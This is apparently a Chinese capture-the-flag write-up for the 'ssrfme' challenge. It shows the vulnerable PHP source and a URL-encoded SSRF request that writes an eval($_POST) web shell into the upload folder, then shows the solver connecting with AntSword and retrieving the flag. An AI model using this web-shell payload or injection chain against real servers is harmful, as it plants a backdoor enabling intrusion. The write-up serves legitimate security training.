ssrfme

查看源码

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

strpos():返回字符串在另一字符串中第一次出现的位置。

file_put_contents() :把一个字符串写入文件中。

file_get_contents() :把整个文件读入一个字符串中。

代码分析:

GET传入两个参数file和path,file会赋值给url,path拼接到"upload/"

path中不能出现“..”

当$url开头为“http://127.0.0.1/”时,通过file_get_contents读取内容到$url

再通过file_put_contents()写到$path

执行成功后,会在页面输出$path

 

 

构造

file=http://127.0.0.1/index.php&path=1.php <?php eval($_POST['shell']);?>

file_get_contents()读取index.php源文件,传到$url,通过file_put_contents()写入到$path。无法访问文件

构造

?file=http://127.0.0.1/?file=http://127.0.0.1/index.php%26path=%253c%253fphp%2beval(%2524_POST%255b%2527shell%2527%255d)%253b%253f%253e&path=1.php

蚁剑连接

ssrfme

ssrfme

 

 查看flag文件

ssrfme

 

 BMZCTF{7206985ecf9b43e99c0a62d12002beae}

 

上一篇:用canvas画布实现验证码


下一篇:QUdpSocket类的主要接口函数